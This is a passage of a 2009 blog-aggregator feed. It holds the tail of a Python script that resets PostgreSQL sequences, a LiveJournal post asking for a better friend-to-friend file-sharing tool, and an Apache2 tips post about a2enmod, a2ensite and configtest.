            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;conn&lt;/span&gt; = psycopg2.&lt;span&gt;connect&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;dsn&lt;span&gt;&amp;#41;&lt;/span&gt;
            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;curs&lt;/span&gt; = &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;conn&lt;/span&gt;.&lt;span&gt;cursor&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
        &lt;span&gt;except&lt;/span&gt; &lt;span&gt;Exception&lt;/span&gt;, e:
            &lt;span&gt;print&lt;/span&gt; &lt;span&gt;&amp;quot;ERROR - %s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; e
            &lt;span&gt;sys&lt;/span&gt;.&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
    &lt;span&gt;# Returns a dict for a psycopg2 row object&lt;/span&gt;
    &lt;span&gt;def&lt;/span&gt; _to_dict&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;, desc, res&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;return&lt;/span&gt; &lt;span&gt;dict&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;zip&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;x&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;for&lt;/span&gt; x &lt;span&gt;in&lt;/span&gt; desc&lt;span&gt;&amp;#93;&lt;/span&gt;, res&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
    &lt;span&gt;# Attempt to locate all custom sequences&lt;/span&gt;
    &lt;span&gt;def&lt;/span&gt; findSequences&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        seq_query = &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;
        SELECT pc1.relname AS seq, pc2.relname AS table, c.attname AS field
        FROM pg_depend, pg_class pc1, pg_class pc2, pg_attribute c
        WHERE pc1.oid = pg_depend.objid
            AND pc2.oid = pg_depend.refobjid
            AND c.attnum = pg_depend.refobjsubid
            AND c.attrelid = pc2.oid
            AND pc1.relkind = 'S'
            AND pc1.relname NOT LIKE 'pg_toast%%'
        &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;try&lt;/span&gt;:
            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;print_verbose&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;seq_query&lt;span&gt;&amp;#41;&lt;/span&gt;
            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;curs&lt;/span&gt;.&lt;span&gt;execute&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;seq_query&lt;span&gt;&amp;#41;&lt;/span&gt;
        &lt;span&gt;except&lt;/span&gt; &lt;span&gt;Exception&lt;/span&gt;, e:
            &lt;span&gt;print&lt;/span&gt; &lt;span&gt;&amp;quot;[ERROR] - %s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; e
            &lt;span&gt;sys&lt;/span&gt;.&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
        desc = &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;curs&lt;/span&gt;.&lt;span&gt;description&lt;/span&gt;
        &lt;span&gt;for&lt;/span&gt; row &lt;span&gt;in&lt;/span&gt; &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;curs&lt;/span&gt;.&lt;span&gt;fetchall&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
            &lt;span&gt;yield&lt;/span&gt; &lt;span&gt;self&lt;/span&gt;._to_dict&lt;span&gt;&amp;#40;&lt;/span&gt;desc, row&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
    &lt;span&gt;# Increment the key value to the value of the sequence + 1&lt;/span&gt;
    &lt;span&gt;def&lt;/span&gt; fixSequences&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;for&lt;/span&gt; seq &lt;span&gt;in&lt;/span&gt; &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;findSequences&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
            &lt;span&gt;print&lt;/span&gt; &lt;span&gt;&amp;quot;Fixing sequence %s in table %s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;seq&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'seq'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, seq&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'table'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
            fix_query = &lt;span&gt;&amp;quot;SELECT setval('%s', COALESCE((SELECT %s FROM %s ORDER BY %s DESC LIMIT 1), 0)+1)&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;seq&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'seq'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, seq&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'field'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, seq&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'table'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, seq&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'field'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
            &lt;span&gt;try&lt;/span&gt;:
                &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;print_verbose&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;fix_query&lt;span&gt;&amp;#41;&lt;/span&gt;
                &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;curs&lt;/span&gt;.&lt;span&gt;execute&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;fix_query&lt;span&gt;&amp;#41;&lt;/span&gt;
            &lt;span&gt;except&lt;/span&gt; &lt;span&gt;Exception&lt;/span&gt;, e:
                &lt;span&gt;print&lt;/span&gt; &lt;span&gt;&amp;quot;[WARNING] - %s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; e
                &lt;span&gt;pass&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; print_verbose&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;, msg&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;if&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;True&lt;/span&gt; == &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;options&lt;/span&gt;.&lt;span&gt;verbose&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
            &lt;span&gt;print&lt;/span&gt; &lt;span&gt;&amp;quot;[DEBUG] - %s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; msg
&amp;nbsp;
&lt;span&gt;if&lt;/span&gt; __name__==&lt;span&gt;'__main__'&lt;/span&gt;:
    usage       = &lt;span&gt;&amp;quot;Usage: %prog &amp;lt;options&amp;gt; [-v --verbose] [-u --username | -p --password &lt;span&gt;\ &lt;/span&gt;-o --host | -d --database]&amp;quot;&lt;/span&gt;
    version     = &lt;span&gt;&amp;quot;%prog v1.0&lt;span&gt;\n&lt;/span&gt;Distributed under the LGPL2 License&amp;quot;&lt;/span&gt;
    description = &lt;span&gt;&amp;quot;Increments all sequences in a PostgreSQL database&amp;quot;&lt;/span&gt;
    &lt;span&gt;parser&lt;/span&gt; = OptionParser&lt;span&gt;&amp;#40;&lt;/span&gt;usage=usage, version=version, description=description&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;parser&lt;/span&gt;.&lt;span&gt;add_option&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;-v&amp;quot;&lt;/span&gt;, &lt;span&gt;&amp;quot;--verbose&amp;quot;&lt;/span&gt;, action=&lt;span&gt;&amp;quot;store_true&amp;quot;&lt;/span&gt;, dest=&lt;span&gt;&amp;quot;verbose&amp;quot;&lt;/span&gt;, default=&lt;span&gt;False&lt;/span&gt;, &lt;span&gt;help&lt;/span&gt;=&lt;span&gt;&amp;quot;Enable extra output&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;parser&lt;/span&gt;.&lt;span&gt;add_option&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;-o&amp;quot;&lt;/span&gt;, &lt;span&gt;&amp;quot;--host&amp;quot;&lt;/span&gt;, action=&lt;span&gt;&amp;quot;store&amp;quot;&lt;/span&gt;, dest=&lt;span&gt;&amp;quot;host&amp;quot;&lt;/span&gt;, default=&lt;span&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;, &lt;span&gt;help&lt;/span&gt;=&lt;span&gt;&amp;quot;Database hostname/IP&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;parser&lt;/span&gt;.&lt;span&gt;add_option&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;-u&amp;quot;&lt;/span&gt;, &lt;span&gt;&amp;quot;--username&amp;quot;&lt;/span&gt;, action=&lt;span&gt;&amp;quot;store&amp;quot;&lt;/span&gt;, dest=&lt;span&gt;&amp;quot;user&amp;quot;&lt;/span&gt;, default=&lt;span&gt;&amp;quot;postgres&amp;quot;&lt;/span&gt;, &lt;span&gt;help&lt;/span&gt;=&lt;span&gt;&amp;quot;Database Username&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;parser&lt;/span&gt;.&lt;span&gt;add_option&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;-p&amp;quot;&lt;/span&gt;, &lt;span&gt;&amp;quot;--password&amp;quot;&lt;/span&gt;, action=&lt;span&gt;&amp;quot;store&amp;quot;&lt;/span&gt;, dest=&lt;span&gt;&amp;quot;passwd&amp;quot;&lt;/span&gt;, default=&lt;span&gt;&amp;quot;&amp;quot;&lt;/span&gt;, &lt;span&gt;help&lt;/span&gt;=&lt;span&gt;&amp;quot;Database Password&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;parser&lt;/span&gt;.&lt;span&gt;add_option&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;-d&amp;quot;&lt;/span&gt;, &lt;span&gt;&amp;quot;--database&amp;quot;&lt;/span&gt;, action=&lt;span&gt;&amp;quot;store&amp;quot;&lt;/span&gt;, dest=&lt;span&gt;&amp;quot;db&amp;quot;&lt;/span&gt;, default=&lt;span&gt;&amp;quot;template1&amp;quot;&lt;/span&gt;, &lt;span&gt;help&lt;/span&gt;=&lt;span&gt;&amp;quot;Database Name&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
    &lt;span&gt;try&lt;/span&gt;:
        &lt;span&gt;&amp;#40;&lt;/span&gt;options, args&lt;span&gt;&amp;#41;&lt;/span&gt; = &lt;span&gt;parser&lt;/span&gt;.&lt;span&gt;parse_args&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
        obj = PgRepairman&lt;span&gt;&amp;#40;&lt;/span&gt;options, &lt;span&gt;parser&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
        obj.&lt;span&gt;fixSequences&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;except&lt;/span&gt; &lt;span&gt;KeyboardInterrupt&lt;/span&gt;, e:
        &lt;span&gt;sys&lt;/span&gt;.&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;You can also download the script &lt;a href=&quot;http://blog.madpython.com/wp-content/uploads/2009/03/pg_sequences.py&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F06%2Ffixing-custom-sequences-in-postgresql%2F&amp;amp;linkname=Fixing%20custom%20sequences%20in%20PostgreSQL&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F06%2Ffixing-custom-sequences-in-postgresql%2F&amp;amp;linkname=Fixing%20custom%20sequences%20in%20PostgreSQL&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F06%2Ffixing-custom-sequences-in-postgresql%2F&amp;amp;linkname=Fixing%20custom%20sequences%20in%20PostgreSQL&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F06%2Ffixing-custom-sequences-in-postgresql%2F&amp;amp;linkname=Fixing%20custom%20sequences%20in%20PostgreSQL&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F06%2Ffixing-custom-sequences-in-postgresql%2F&amp;amp;linkname=Fixing%20custom%20sequences%20in%20PostgreSQL&quot; title=&quot;Google Buzz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google_buzz.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Buzz&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F06%2Ffixing-custom-sequences-in-postgresql%2F&amp;amp;linkname=Fixing%20custom%20sequences%20in%20PostgreSQL&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F06%2Ffixing-custom-sequences-in-postgresql%2F&amp;amp;linkname=Fixing%20custom%20sequences%20in%20PostgreSQL&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F06%2Ffixing-custom-sequences-in-postgresql%2F&amp;amp;linkname=Fixing%20custom%20sequences%20in%20PostgreSQL&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt; &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save&quot;&gt;Share&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Related posts:&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/07/extending-postgresql-with-python/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Extending PostgreSQL with Python&quot;&gt;Extending PostgreSQL with Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/02/apache2-shortcuts/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Apache2 shortcuts&quot;&gt;Apache2 shortcuts&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2010-09-07T16:00:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">F2F Applications</title>
		<link href="http://nebajoth.livejournal.com/28807.html"/>
		<id>http://nebajoth.livejournal.com/28807.html</id>
		<updated>2009-03-02T17:49:07+00:00</updated>
		<content type="html">Look, as the leader of a gaming clan with about 50 people in it, I have to say:  It is WAY past time for a decent F2F application.&lt;br /&gt;&lt;br /&gt;I've evaluated Freenet 0.7, Alliance P2P, RetroShare, OneSwarm, and several others.  There's simply no decent cross-platform, serverless F2F application that I can mandate be deployed by our membership.&lt;br /&gt;&lt;br /&gt;I wish there was.  We're constantly trading files back and forth via Dropbox, email, or IM transfer.  Which is fantastic, so far as it goes, but I want to build an actual darknet out of the peer relationships already established OOB.&lt;br /&gt;&lt;br /&gt;It's not an impossible problem to solve -- several projects have already travelled most of the distance.  But nothing implements the basic requirements in a great way -- chat and file transfer.  I'd say OneSwarm comes closest, even if it is built on (blech!) Java.&lt;br /&gt;&lt;br /&gt;FIND ME A BETTER APPLICATION.</content>
		<author>
			<name>Dylan Herbert</name>
			<uri>http://nebajoth.livejournal.com/</uri>
		</author>
		<source>
			<title type="html">nebajoth</title>
			<subtitle type="html">nebajoth - LiveJournal.com</subtitle>
			<link rel="self" href="http://nebajoth.livejournal.com/data/rss?tag=wuug"/>
			<id>http://nebajoth.livejournal.com/data/rss?tag=wuug</id>
			<updated>2010-01-23T06:00:10+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Apache2 shortcuts</title>
		<link href="http://blog.madpython.com/2009/03/02/apache2-shortcuts/"/>
		<id>http://blog.madpython.com/?p=29</id>
		<updated>2009-03-02T15:59:50+00:00</updated>
		<content type="html">&lt;p&gt;I&amp;#8217;ve been maintaining and managing Apache servers for over 10 years now, but for some reason, I never bothered to RTFM when it came to enabling/disabling modules and site configs in apache2.. As it turns out, you don&amp;#8217;t have to manually create symlinks from mods_available to mods_enabled and sites_available to sites_enabled, as Apache2 includes a handful of shortcut scripts to do this work for you&amp;#8230; Doh!&lt;/p&gt;
&lt;p&gt;To enable a module in your apache2 config, instead of doing the old&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;&lt;span&gt;ln&lt;/span&gt; &lt;span&gt;-sf&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;etc&lt;span&gt;/&lt;/span&gt;apache2&lt;span&gt;/&lt;/span&gt;mods_available&lt;span&gt;/&lt;/span&gt;mod_rewrite.conf &lt;span&gt;/&lt;/span&gt;etc&lt;span&gt;/&lt;/span&gt;apache2&lt;span&gt;/&lt;/span&gt;mods_enabled&lt;span&gt;/&lt;/span&gt;mod_rewrite.conf
&lt;span&gt;ln&lt;/span&gt; &lt;span&gt;-sf&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;etc&lt;span&gt;/&lt;/span&gt;apache2&lt;span&gt;/&lt;/span&gt;mods_available&lt;span&gt;/&lt;/span&gt;mod_rewrite.load &lt;span&gt;/&lt;/span&gt;etc&lt;span&gt;/&lt;/span&gt;apache2&lt;span&gt;/&lt;/span&gt;mods_enabled&lt;span&gt;/&lt;/span&gt;mod_rewrite.load&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Next time, just do:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;a2enmod rewrite &lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;etc&lt;span&gt;/&lt;/span&gt;init.d&lt;span&gt;/&lt;/span&gt;apache2 restart&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;To disable this module, try&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;a2dismod rewrite &lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;etc&lt;span&gt;/&lt;/span&gt;init.d&lt;span&gt;/&lt;/span&gt;apache2 restart&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Similarly, to enable a site config, try&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;a2ensite myVhost.com &lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;etc&lt;span&gt;/&lt;/span&gt;init.d&lt;span&gt;/&lt;/span&gt;apache2 restart&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt; and to disable it, obviously, try&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;a2dissite myVhost.com &lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;etc&lt;span&gt;/&lt;/span&gt;init.d&lt;span&gt;/&lt;/span&gt;apache2 restart&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Finally, if you&amp;#8217;d like to lint through your Apache2 config files before issuing a restart which might be responsible for some downtime if it doesn&amp;#8217;t work, try&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;apache2ctl configtest&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F02%2Fapache2-shortcuts%2F&amp;amp;linkname=Apache2%20shortcuts&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F02%2Fapache2-shortcuts%2F&amp;amp;linkname=Apache2%20shortcuts&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F02%2Fapache2-shortcuts%2F&amp;amp;linkname=Apache2%20shortcuts&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F02%2Fapache2-shortcuts%2F&amp;amp;linkname=Apache2%20shortcuts&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F02%2Fapache2-shortcuts%2F&amp;amp;linkname=Apache2%20shortcuts&quot; title=&quot;Google Buzz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google_buzz.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Buzz&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F02%2Fapache2-shortcuts%2F&amp;amp;linkname=Apache2%20shortcuts&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F02%2Fapache2-shortcuts%2F&amp;amp;linkname=Apache2%20shortcuts&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F02%2Fapache2-shortcuts%2F&amp;amp;linkname=Apache2%20shortcuts&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt; &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save&quot;&gt;Share&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Related posts:&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/07/extending-postgresql-with-python/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Extending PostgreSQL with Python&quot;&gt;Extending PostgreSQL with Python&lt;/a&gt;&lt;/li&gt;
